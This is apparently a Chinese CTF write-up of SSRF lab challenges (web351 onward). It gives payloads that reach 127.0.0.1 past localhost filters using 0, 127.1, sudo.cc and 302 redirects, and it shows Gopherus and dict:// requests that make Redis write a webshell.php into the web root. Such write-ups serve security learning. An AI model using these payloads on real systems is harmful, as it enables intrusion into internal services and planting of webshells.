先开始刷SSRF,一直看文章头都昏了,练练题换一下脑子。
web351
题目
1 | <?php |
题解
首先还是先看一下这几个PHP的函数吧。
curl_init
初始化新会话,返回 cURL 句柄,供 curl_setopt()、curl_exec() 和 curl_close() 函数使用。
curl_setopt
— 设置 cURL 传输选项,
1 | curl_setopt(CurlHandle $handle, int $option, mixed $value): bool |
为 cURL 会话句柄设置选项。
1 | handle |
由 curl_init() 返回的 cURL 句柄。
1 | option |
需要设置的CURLOPT_XXX
选项。
1 | value |
将设置在option
选项上的值。
以下 option
参数的 value
应该被设置成 bool 类型:
本题设置为
CURLOPT_HEADER |
启用时会将头文件的信息作为数据流输出。 |
---|---|
CURLOPT_RETURNTRANSFER |
true 将curl_exec()获取的信息以字符串返回,而不是直接输出。 |
就是拼接命令使用curl_exec执行curl_setopt返回flag.php的内容即可。
1 | url=http://127.0.0.1/flag.php |
web352
题目
1 | <?php |
题解
想较于上题添加了对localhost和127.0.0的过滤,我们尝试绕过。
1 | url=http://0/flag.php |
还可以利用短网址302跳转到127.0.0.1
1 | url=http://z6b.cn/QfS2T/flag.php |
web353
题目
1 | <?php |
新建了正则匹配来限制只能使用http和https协议
题解
1 | 127.0.0.1 |
web354
题目
1 | <?php |
这个过滤了1和0,限制http(s)协议
题解
第一种方法
使用http://sudo.cc,这个域名是指向127.0.0.1的
url=url=http://sudo.cc/flag.php
第二种方法
302跳转
在自己的网站上面添加
1 | <?php |
1 | url=http://127.1/flag.php |
1 | url=http://0/flag.php |
1 | <?php |
1 | url=http://0/flag.php |
1 | <?php |
1 |
|
1 | <?php |
1 | http://ctf.@127.0.0.1/flag.php?show |
1 | Give MySQL username: root |
1 | <?php |
1 | python gopherus.py --exploit redis |
1 | url=dict://127.0.0.1:6379 |
1 | ERR Unknown subcommand or wrong number of arguments for 'libcurl'. Try CLIENT HELP +OK |
1 | url=dict://127.0.0.1:6379/info |
1 | url=dict://127.0.0.1:6379/config:set:dir:/var/www/html/ |
1 | url=dict://127.0.0.1:6380/config:set:dbfilename:webshell.php |
1 | url=dict:/127.0.0.1:6380/set:webshell:"\x3c\x3f\x70\x68\x70\x20\x70\x68\x70\x69\x6e\x66\x6f\x28\x29\x3b\x3f\x3e" |